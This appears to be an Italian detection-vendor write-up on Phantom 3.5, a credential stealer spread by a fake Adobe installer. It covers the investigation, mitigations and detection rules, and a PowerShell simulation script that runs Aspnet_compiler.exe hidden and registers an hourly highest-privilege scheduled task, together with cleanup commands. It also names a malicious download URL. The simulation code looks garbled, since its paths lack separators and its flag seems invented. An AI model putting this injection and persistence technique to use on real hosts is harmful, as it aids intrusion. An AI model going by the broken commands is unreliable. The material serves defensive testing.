Phantom 3.5 – Malware di furto di credenziali distribuito tramite un falso installer di Adobe
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Phantom 3.5 è un malware che ruba credenziali distribuito tramite un falso installer di Adobe. Una volta eseguito, l’installer rilascia uno script PowerShell che scarica un DLL .NET offuscato (BLACKHAWK.dll) e inietta il payload finale in Aspnet_compiler.exe per essere eseguito sotto il contesto di un processo apparentemente affidabile.
Indagine
I ricercatori hanno eseguito il falso installer in una sandbox e catturato la posizione del downloader (positivepay-messages.com/file/floor.ps1). Hanno decodificato lo script protetto da Base64/RC4, identificato il DLL .NET recuperato, e confermato l’iniezione in Aspnet_compiler.exe usando strumenti come hollows_hunter e ProcDump. L’analisi indica che il DLL include misure anti-analisi, tecniche di Heaven’s Gate e molteplici canali di esfiltrazione, inclusi SMTP, FTP, Telegram e Discord.
Mitigazione
Limita o blocca l’esecuzione di script PowerShell non firmati, previeni il caricamento di DLL non attendibili, e monitora per la creazione anomala di processi Aspnet_compiler.exe. Applica il filtraggio degli URL per negare l’accesso al dominio malevolo e ai suoi percorsi. Assicurati che i controlli endpoint possano rilevare pattern di iniezione di processi e comportamenti comuni dei ladri di credenziali.
Risposta
Attiva allarmi sulle connessioni in uscita verso positivepay-messages.com, su artefatti di memoria o moduli relativi a BLACKHAWK.dll, e su evidenze di iniezione di codice in Aspnet_compiler.exe. Isola l’host interessato, acquisisci immagini di memoria, e conduci un triage forense completo per eradicare il DLL malevolo e i payload associati.
Flusso di Attacco
Rilevamenti
Stringhe PowerShell Sospette (via powershell)
Visualizza
Possibile Utilizzo del Timeout per Ritardare l’Esecuzione (via cmdline)
Visualizza
Esecuzione Insolita di Modifiche della Code Page (via cmdline)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizza
IOC (HashMd5) per rilevare: Phantom 3.5: Analisi del Vettore Iniziale & Forensics
Visualizza
Iniezione di Processo Phantom 3.5 tramite Aspnet_compiler.exe [Creazione di Processo Windows]
Visualizza
Esecuzione di Script PowerShell con Attributo Nascosto e Stringhe Codificate in Base64 [Windows Powershell]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo di Telemetria & Baseline Pre‑flight deve essere stato superato.
Razionale: Questa sezione dettagli l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.
-
Narrazione Attacco & Comandi:
L’avversario ha ottenuto il payload Phantom 3.5 e intende eseguirlo in memoria per eludere le difese basate su disco. SfruttanoAspnet_compiler.exe, un binario affidabile di Windows, per caricare l’assembly gestito malevolo tramite l’argomentoInvoke-ManagedAssembly. Ciò causa l’avvio del processo del compilatore, iniettando il payload nello spazio del processo corrente e persistendo creando un task pianificato che esegue ripetutamente lo stesso comando.-
Prepara l’assembly gestito malevolo (
phantom_payload.dll) sull’host di destinazione. -
Esegui l’iniezione usando
Aspnet_compiler.exe:$maliciousDll = "C:Tempphantom_payload.dll" $cmd = "`"$env:WINDIRMicrosoft.NETFramework64v4.0.30319Aspnet_compiler.exe`" -p `"$maliciousDll`" -c `Invoke-ManagedAssembly`" Start-Process -FilePath $cmd -WindowStyle Hidden -
Crea persistenza (opzionale) registrando un task pianificato che ripete lo stesso comando ogni ora.
-
-
Script di Test di Regressione: Lo script seguente riproduce i passaggi sopra descritti in modo autonomo e ripetibile.
<# .SYNOPSIS Simula l'iniezione di processo Phantom 3.5 usando Aspnet_compiler.exe. .DESCRIPTION Copia un dll malevolo dummy in una posizione nota, quindi lancia Aspnet_compiler.exe con il flag `Invoke-ManagedAssembly` per generare l'evento di creazione del processo esatto che la regola di rilevamento monitora. #> # --- Preparazione ----------------------------------------------------------- $dllPath = "$env:TEMPphantom_payload.dll" # Crea un DLL dummy piccolo (segnaposto per il vero payload) Set-Content -Path $dllPath -Value ([byte[]](0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00)) -Encoding Byte # --- Esecuzione ------------------------------------------------------------- $aspnetPath = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319Aspnet_compiler.exe" if (-Not (Test-Path $aspnetPath)) { Write-Error "Aspnet_compiler.exe non trovato nella posizione prevista." exit 1 } $arguments = "-p `"$dllPath`" -c `Invoke-ManagedAssembly`" Write-Host "Avvio di Aspnet_compiler.exe con argomenti malevoli..." Start-Process -FilePath $aspnetPath -ArgumentList $arguments -WindowStyle Hidden -PassThru # --- Persistenza Opzionale ---------------------------------------------------- # Registra un task pianificato che ripete l'iniezione ogni ora $taskName = "PhantomInject" $action = New-ScheduledTaskAction -Execute $aspnetPath -Argument $arguments $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([TimeSpan]::MaxValue) Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -RunLevel Highest -Force Write-Host "Simulazione completata. Controlla il SIEM per l'allerta generata." -
Comandi di Pulizia: Rimuovi il DLL dummy, il task pianificato, e qualsiasi processo rimanente.
# Rimuovi il DLL dummy Remove-Item -Path "$env:TEMPphantom_payload.dll" -Force -ErrorAction SilentlyContinue # Deregistra il task pianificato Unregister-ScheduledTask -TaskName "PhantomInject" -Confirm:$false -ErrorAction SilentlyContinue # Termina eventuali processi Aspnet_compiler.exe avviati dal test Get-Process -Name "Aspnet_compiler" -ErrorAction SilentlyContinue | Stop-Process -Force